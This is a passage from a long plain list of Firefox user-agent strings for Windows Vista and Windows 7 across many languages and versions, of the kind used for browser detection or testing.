Firefox/2.0.0.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 4.0.20506) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.15) Gecko/2009101601 Firefox 2.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.2) Gecko/20090729 Firefox/2.0.0.15 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 (.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.0 (.NET CLR 3.0.30618) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2.13) Gecko/20101203 Firefox/3.5.9 (de) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 (.NET CLR 3.5.30729) FirePHP/0.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.10) Gecko/20100504 Firefox/3.5.10 GTB7.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 (.NET CLR 4.0.20506) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.15) Gecko/20110303 AskTbBT4/3.11.3.15590 Firefox/3.6.15 (.NET CLR 3.5.30729; .NET4.0C) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 (.NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 (.NET CLR 3.5.30729; .NET CLR 4.0.20506) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.10pre) Gecko/20070207 Firefox/1.5.0.10pre Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en_US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1b2) Gecko/20060821 Firefox/2.0b2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.5.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.16) Gecko/20101130 MRA 5.4 (build 02647) Firefox/3.5.16 (.NET CLR 3.5.30729; .NET4.0C) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.21022; .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 (.NET CLR 3.5.30729) FirePHP/0.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b2) Gecko/20081127 Firefox/3.1b1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b3) Gecko/20090405 Firefox/3.1b3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 (.NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET CLR 3.5.21022) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100527 Firefox/3.6.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100527 Firefox/3.6.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 Mozilla/5.0 (Windows; U; Windows NT 6.0; es-AR; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; es-MX; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; fi; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.1b1) Gecko/20081007 Firefox/3.1b1 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 Mozilla/5.0 (Windows; U; Windows NT 6.0; hu; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 Mozilla/5.0 (Windows; U; Windows NT 6.0; id; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; it-IT; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 GTB7.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 GTB6 Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ko; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ko; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 GTB7.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 Mozilla/5.0 (Windows; U; Windows NT 6.0; pt-BR; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.2) Gecko/20100115 Firefox/3.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; sr; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15 Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.0.18) Gecko/2010020220 Firefox/3.0.18 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; tr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; U; Windows NT 6.0; tr; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre Mozilla/5.0 (Windows; U; Windows NT 6.0; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; ar; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 Mozilla/5.0 (Windows; U; Windows NT 6.1; ar; rv:1.9.2) Gecko/20100115 Firefox/3.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; ca; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; de-AT; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.11) Gecko/20100701 Firefox/3.5.11 (.NET CLR 3.5.30729; .NET4.0C) Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.16) Gecko/20101130 AskTbMYC/3.9.1.14019 Firefox/3.5.16 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 4.0.20506) Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.3) Gecko/20121221 Firefox/3.6.8 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.8) Gecko/20100722 Firefox 3.6.8 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-AU; rv:1.9.2.14) Gecko/20110218 Firefox/3.6.14 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 (.NET CLR 3.5.30729; .NET4.0C) Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 GTB5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) FirePHP/0.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 FirePHP/0.4 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729) FBSMTWB Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090612 Firefox/3.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090612 Firefox/3.5 (.NET CLR 4.0.20506) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 (.NET CLR 3.5.30729; .NET4.0C) FirePHP/0.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.17) Gecko/20110420 Firefox/3.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.2) Gecko/20100316 AskTbSPC2/3.9.1.14019 Firefox/3.6.2 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3pre) Gecko/20100405 Firefox/3.6.3plugin1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.8) Gecko/20100806 Firefox/3.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2b1) Gecko/20091014 Firefox/3.6b1 GTB5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.3a3pre) Gecko/20100306 Firefox3.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:2.0b10) Gecko/20110126 Firefox/4.0b10 Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; et; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 GTB7.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.8) Gecko/20100722 Firefox 3.6.8 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.7) Gecko/20100713 Firefox/3.6.7 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.8) Gecko/20100722 AskTbADAP/3.9.1.14019 Firefox/3.6.8 Mozilla/5.0 (Windows; U; Windows NT 6.1; ja; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; lt; rv:1.9.2) Gecko/20100115 Firefox/3.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; nl; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 FirePHP/0.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; nl; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-BR; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-BR; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-PT; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; ro; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 Mozilla/5.0 (Windows; U; Windows NT 6.1; ru-RU; rv:1.9.2) Gecko/20100105 MRA 5.6 (build 03278) Firefox/3.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5 Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:1.9.2.9) Gecko/20100913 Firefox/3.6.9 Mozilla/5.0 (Windows; U; Windows NT 6.1; sl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 Mozilla/5.0 (Windows; U; Windows NT 6.1; tr; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; uk; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; WOW64; en-US; rv:2.0.4) Gecko/20120718 AskTbAVR-IDW/3.12.5.17700 Firefox/14.0.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 